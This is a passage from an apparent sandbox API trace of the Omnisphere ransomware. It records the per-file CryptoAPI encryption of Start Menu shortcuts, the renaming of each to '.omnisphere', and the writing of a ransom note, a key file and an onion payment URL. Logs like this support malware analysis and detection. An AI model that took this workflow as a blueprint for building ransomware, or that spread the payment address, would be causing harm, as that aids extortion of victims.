pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.050] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.051] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.051] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.051] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.051] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.051] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.051] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.051] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.051] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.051] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.051] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.051] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.051] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.051] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.051] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.051] CryptDestroyKey (hKey=0x16396a8) returned 1 [0147.051] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0147.051] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x14f, lpNewFilePointer=0x0, dwMoveMethod=0x3e0cdc8 | out: lpNewFilePointer=0x0) returned 1 [0147.051] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cddc, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0cddc*=0x524, lpOverlapped=0x0) returned 1 [0147.054] GetProcessHeap () returned 0x1600000 [0147.054] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2de) returned 0x172e498 [0147.054] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\computer.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\computer.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\computer.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\computer.lnk.omnisphere")) returned 1 [0147.463] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\computer.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\computer.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\computer.lnk.omnisphere.id" [0147.463] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\computer.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\computer.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0147.465] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c864, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0c864*=0x524, lpOverlapped=0x0) returned 1 [0147.467] CloseHandle (hObject=0x3b4) returned 1 [0147.468] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0147.468] CloseHandle (hObject=0x388) returned 1 [0147.468] SetEndOfFile (hFile=0x3c0) returned 1 [0147.470] FlushFileBuffers (hFile=0x3c0) returned 1 [0147.473] CloseHandle (hObject=0x3c0) returned 1 [0147.473] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\computer.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools") returned 1 [0147.473] GetProcessHeap () returned 0x1600000 [0147.473] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x172e780 [0147.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0147.473] GetProcessHeap () returned 0x1600000 [0147.474] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fda00 [0147.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fda00, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0147.474] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0147.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0147.474] GetProcessHeap () returned 0x1600000 [0147.474] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17269f8 [0147.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17269f8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0147.474] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0147.474] GetProcessHeap () returned 0x1600000 [0147.474] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe4) returned 0x1695f18 [0147.474] PathCombineW (in: pszDest=0x1695f18, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\!DECRYPT_OMNISPHERE.txt" [0147.474] GetProcessHeap () returned 0x1600000 [0147.474] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x171e538 [0147.474] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0147.474] WriteFile (in: hFile=0x3c0, lpBuffer=0x171e538*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0cdfc, lpOverlapped=0x0 | out: lpBuffer=0x171e538*, lpNumberOfBytesWritten=0x3e0cdfc*=0x588, lpOverlapped=0x0) returned 1 [0147.475] CloseHandle (hObject=0x3c0) returned 1 [0147.476] GetProcessHeap () returned 0x1600000 [0147.476] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172e780 | out: hHeap=0x1600000) returned 1 [0147.476] GetProcessHeap () returned 0x1600000 [0147.476] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xda) returned 0x172a950 [0147.476] PathCombineW (in: pszDest=0x172a950, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\unique_decrypt.key" [0147.476] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0147.476] WriteFile (in: hFile=0x3c0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ce10, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ce10*=0x5a0, lpOverlapped=0x0) returned 1 [0147.476] CloseHandle (hObject=0x3c0) returned 1 [0147.477] GetProcessHeap () returned 0x1600000 [0147.477] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172a950 | out: hHeap=0x1600000) returned 1 [0147.477] GetProcessHeap () returned 0x1600000 [0147.477] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1625a28 | out: hHeap=0x1600000) returned 1 [0147.478] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61db3fcd, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x195, dwReserved0=0x0, dwReserved1=0xbf, cFileName="Control Panel.lnk", cAlternateFileName="CONTRO~1.LNK")) returned 1 [0147.478] GetProcessHeap () returned 0x1600000 [0147.478] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd8) returned 0x172e780 [0147.478] PathCombineW (in: pszDest=0x172e780, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools", pszFile="Control Panel.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Control Panel.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Control Panel.lnk" [0147.478] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0147.478] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Control Panel.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\control panel.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0147.478] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x3e0cdd4 | out: lpFileSize=0x3e0cdd4*=405) returned 1 [0147.478] GetTickCount () returned 0x1164b0a [0147.479] GetTickCount () returned 0x1164b0a [0147.479] GetTickCount () returned 0x1164b0a [0147.479] GetTickCount () returned 0x1164b0a [0147.479] GetTickCount () returned 0x1164b0a [0147.479] GetTickCount () returned 0x1164b0a [0147.479] GetTickCount () returned 0x1164b0a [0147.479] GetTickCount () returned 0x1164b0a [0147.479] GetTickCount () returned 0x1164b0a [0147.479] GetTickCount () returned 0x1164b0a [0147.479] GetTickCount () returned 0x1164b0a [0147.479] GetTickCount () returned 0x1164b0a [0147.479] GetTickCount () returned 0x1164b0a [0147.479] GetTickCount () returned 0x1164b0a [0147.479] GetTickCount () returned 0x1164b0a [0147.479] GetTickCount () returned 0x1164b0a [0147.479] GetTickCount () returned 0x1164b0a [0147.479] GetTickCount () returned 0x1164b0a [0147.479] GetTickCount () returned 0x1164b0a [0147.479] GetTickCount () returned 0x1164b0a [0147.479] GetTickCount () returned 0x1164b0a [0147.479] GetTickCount () returned 0x1164b0a [0147.479] GetTickCount () returned 0x1164b0a [0147.479] GetTickCount () returned 0x1164b0a [0147.479] GetTickCount () returned 0x1164b0a [0147.479] GetTickCount () returned 0x1164b0a [0147.480] GetTickCount () returned 0x1164b0a [0147.480] GetTickCount () returned 0x1164b0a [0147.480] GetTickCount () returned 0x1164b0a [0147.480] GetTickCount () returned 0x1164b0a [0147.480] GetTickCount () returned 0x1164b0a [0147.480] GetTickCount () returned 0x1164b0a [0147.480] CryptAcquireContextW (in: phProv=0x3e0c85c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0c85c*=0x1668ac0) returned 1 [0147.480] CryptImportKey (in: hProv=0x1668ac0, pbData=0x3e0c7c4, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c868 | out: phKey=0x3e0c868*=0x1639b28) returned 1 [0147.481] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x75, dwBufLen=0x80 | out: pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x80) returned 1 [0147.481] CryptDestroyKey (hKey=0x1639b28) returned 1 [0147.481] CryptReleaseContext (hProv=0x1668ac0, dwFlags=0x0) returned 1 [0147.481] CreateFileMappingW (hFile=0x3c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x195, lpName=0x0) returned 0x388 [0147.481] MapViewOfFile (hFileMappingObject=0x388, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x195) returned 0x1480000 [0147.481] CryptAcquireContextW (in: phProv=0x3e0c84c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0c84c*=0x1668f88) returned 1 [0147.482] CryptImportKey (in: hProv=0x1668f88, pbData=0x3e0c804, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c85c | out: phKey=0x3e0c85c*=0x1639b68) returned 1 [0147.482] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0c840*=0x2, dwFlags=0x0) returned 1 [0147.482] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0c848*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0c848*=0x10) returned 1 [0147.482] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.482] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.482] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.482] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.482] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.482] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.482] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.483] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.483] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.483] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.483] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.483] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.483] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.483] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.483] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.483] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.483] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.483] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.483] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.483] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.483] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.483] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.483] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.483] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.484] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.484] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0147.484] CryptDestroyKey (hKey=0x1639b68) returned 1 [0147.484] CryptReleaseContext (hProv=0x1668f88, dwFlags=0x0) returned 1 [0147.484] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x195, lpNewFilePointer=0x0, dwMoveMethod=0x3e0cdc8 | out: lpNewFilePointer=0x0) returned 1 [0147.484] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cddc, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0cddc*=0x524, lpOverlapped=0x0) returned 1 [0147.486] GetProcessHeap () returned 0x1600000 [0147.486] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2e8) returned 0x172e860 [0147.486] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Control Panel.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\control panel.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Control Panel.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\control panel.lnk.omnisphere")) returned 1 [0147.489] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Control Panel.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Control Panel.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Control Panel.lnk.omnisphere.id" [0147.489] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Control Panel.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\control panel.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0147.491] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c864, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0c864*=0x524, lpOverlapped=0x0) returned 1 [0147.492] CloseHandle (hObject=0x3b4) returned 1 [0147.493] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0147.493] CloseHandle (hObject=0x388) returned 1 [0147.493] SetEndOfFile (hFile=0x3c0) returned 1 [0147.495] FlushFileBuffers (hFile=0x3c0) returned 1 [0147.499] CloseHandle (hObject=0x3c0) returned 1 [0147.499] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Control Panel.lnk" | out: 